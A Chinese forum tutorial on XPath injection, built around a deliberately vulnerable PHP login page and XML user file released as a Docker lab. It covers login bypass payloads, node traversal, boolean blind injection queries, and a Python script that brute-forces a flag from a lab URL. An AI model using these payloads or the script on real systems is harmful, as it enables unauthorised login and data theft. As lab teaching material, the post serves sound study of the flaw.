用户
搜索

该用户从未签到

i春秋-呆萌菜鸟

Rank: 1

2

主题

3

帖子

42

魔法币
收听
0
粉丝
0
注册时间
2018-11-4
发表于 2020-11-17 19:48:14 42273

Xpath注入学习总结

  • 下面文章中所使用靶机已经打包成docker镜像供各位客官享用。
Docker镜像:gqleung/xpath
  • XPath 是一门在 XML 文档中查找信息的语言。XPath 可用来在 XML 文档中对元素和属性进行遍历。简单的说就是把xml当做数据库,xpath类似于sql语句来查询xml,有查询就有注入。
  • 基本语法:https://www.w3school.com.cn/xpath/xpath_syntax.asp

常规注入

  • 实例:
  • users.xml
<?xml version="1.0" encoding="UTF-8"?>
<root>
    <users>
        <user>
            <id>1</id>
            <username>admin</username>
            <password type="md5">0192023a7bbd73250516f069df18b500</password>
        </user>
        <user>
            <id>2</id>
            <username>jack</username>
            <password type="md5">1d6c1e168e362bc0092f247399003a88</password>
        </user>
        <user>
            <id>3</id>
            <username>tony</username>
            <password type="md5">cc20f43c8c24dbc0b2539489b113277a</password>
        </user>
    </users>
    <secret>
        <flag>flag{My_f1rst_xp4th_iNjecti0n}</flag>
    </secret>
</root>
  • index.php
<?php
$xml = simplexml_load_file('users.xml');
$name = $_GET['u'];
$pwd = md5($_GET['p']);
$query = "/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']";
echo $query;
$result = $xml->xpath($query);
if($result) {
    echo '<h2>Welcome</h2>';
    foreach ($result as $key => $value) {
        echo '<br />ID:'.$value->id;
        echo '<br />Username:'.$value->username;
    }
}

万能密码登陆

已知用户名情况
  • 从代码看我们知道$name是我们可控的点,因为$pwd已经被md5加密无法控制。xpathsql一样也能构造逻辑为1导致登陆。但是在xpath中是没有所谓的注释,必须巧妙地构造闭合。
  • 从代码可以得知我们要构造的xpath为:
/root/users/user[username/text()='' and password/text()='']
  • 而php代码中,我们只需执行返回结果为ture即可
.....
$result = $xml->xpath($query);
if($result) {
....
  • 假设我们知道其中用户名为admin即可构造如下语句导致查询成功。
/root/users/user[username/text()='admin' or '1' and password/text()='']
  • 简化为基本模型,很容易看出为何能够构造为Ture导致查询成功:
/root/users/user[username/text()='admin' or '0' ]
  • payload
index.php?u=admin'or'1

微信截图_20200712220202

未知用户名情况
  • 上面情况适用于已知用户的情况,但是如果并不知道用户名的情况呢?其实我们可以构造三个异或的情况导致登陆逻辑为True.
/root/users/user[username/text()='' or '1' or '1' and password/text()='']
  • 将payload简化就如,这样就可以知道,三个之中只需一个为TURE即可。
0 or 1 or 0
  • payload
index.php?u=' or 1 or '1

微信截图_20200712221127

遍历子节点

  • 首先需要了解几个基本语法
  • 选取未知节点
通配符 描述
* 匹配任何元素节点。
@* 匹配任何属性节点。
node() 匹配任何类型的节点。
路径表达式 结果
/bookstore/* 选取 bookstore 元素的所有子元素。
//* 选取文档中的所有元素。
//title[@*] 选取所有带有属性的 title 元素。
  • 选取若干路径
路径表达式 结果
//book/title | //book/price 选取 book 元素的所有 title 和 price 元素。
//title | //price 选取文档中的所有 title 和 price 元素。
/bookstore/book/title | //price 选取属于 bookstore 元素的 book 元素的所有 title 元素,以及文档中所有的 price 元素。
  • 了解几个基本语法再来看我们payload。
/root/users/user[username/text()=''] | //* | //*['' and password/text()='d41d8cd98f00b204e9800998ecf8427e']
  • 其实这里真正起到遍历结点作用的只有//*因为user[username/text()='']可以知道没有用户名为空的。而后面的使用and连接password/text()='d41d8cd98f00b204e9800998ecf8427e'只会返回false,故只有中间的//*会选取文档中所有元素。导致结点遍历。

  • 我们构造payload如下:
index.php?u='] | //* | //*['

微信截图_20200712223225

布尔盲注

  • 学习盲注之前学习几个基本语法
  • 选取结点
表达式 描述
nodename 选取此节点的所有子节点。
/ 从根节点选取。
// 从匹配选择的当前节点选择文档中的节点,而不考虑它们的位置。
. 选取当前节点。
.. 选取当前节点的父节点。
@ 选取属性。
函数 描述
count(item[, item1, …]) 返回节点的数量。
last() 返回在被处理的节点列表中的项目数目。
position() 返回当前正在被处理的节点的 index 位置
name([nodeset]) 返回当前节点的名称或指定节点集中的第一个节点。
codepoints-to-string(a, b, c, …) 将数字 a、b、c 转为对应的字符, Python 的chr函数类似。
string-to-codepoints(string) 与上面的相反
substring(string, start [,len]) 返回从 start 位置开始的指定长度的子字符串。第一个字符的下标是 1。如果省略 len 参数,则返回从位置 start 到字符串末尾的子字符串。
string-length([string]) 返回指定字符串的长度。如果没有 string 参数,则返回当前节点的字符串值的长度。
name 返回当前节点的名称或指定节点集中的第一个节点。

判断根节点数量

  • payload
' or count(/)=1 or '1
  • 从基本语法可以知道count()是返回结点数量,而/是选取根节点
  • 这里payload同样和万能密码一样才有三个or,只需我们猜对根节点数量即可返回正确页面。例如下面我们猜测根节点数为1返回正确页面,当然等于号可以使用大于小于来代替。

微信截图_20200712224347

  • 当count(/)=2时没有返回内容说明这里根节点就是1

微信截图_20200712224501

猜测根节点名

猜测根节点名长度
' or string-length(name(/*[1]))>1 or '1
  • 简单猜测出来根节点的长度为4

微信截图_20200712225716

猜测根节点名字
' or substring(name(/*[1]), 1, 1)='r' or '1
  • 这一点和sql注入别无二致。不细说。猜测成功即返回正确页面。否则为空

微信截图_20200712230000

微信截图_20200712230054

猜测子节点个数
' or count(/root/*)=2 or '1

微信截图_20200712231916

猜测子节点名
  • 猜测第一个子节点名
' or substring(name(/root/*[1]), 1, 1)='u' or '1

微信截图_20200712230326

最后猜测出两个子节点:userssecret

猜测子节点值
  • 同样的方法猜测子节点的子节点的值
' or substring((/root/secret/*[1]), 1, 1)='f' or '1
编写脚本盲注flag
import requests

tables = r'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_{}-'
url='http://39.107.126.173:28835/index.php'
flag = ''
for i in range(1,50):
    for j in tables:
        payload = "?u=' or substring((/root/secret/*[1]), %s, 1)='%s' or '1"%(i,j)
        r = requests.get(url+payload)
        if 'Welcome' in r.text:
            flag = flag+j
            print(flag)
            break
  • 获得flag

微信截图_20200713000010

感谢分享
使用道具 举报 回复
发表于 2020-11-18 12:28:30
写的不错
使用道具 举报 回复
发表于 2020-11-18 12:50:44
很赞
使用道具 举报 回复
J0o1ey 超级版主 培训/业务/联系Q547006660 秦 春秋文阁 春秋游侠 核心白帽 i春秋签约作者 幽默灌水王 积极活跃奖 白帽高手
4#
发表于 2020-11-18 17:40:55
赞!感谢分享
有培训需求或是技术交流需求的朋友可以联系我~QQ547006660|交流群820783253|团队首页www.gcowsec.com|
使用道具 举报 回复
发新帖
您需要登录后才可以回帖 登录 | 立即注册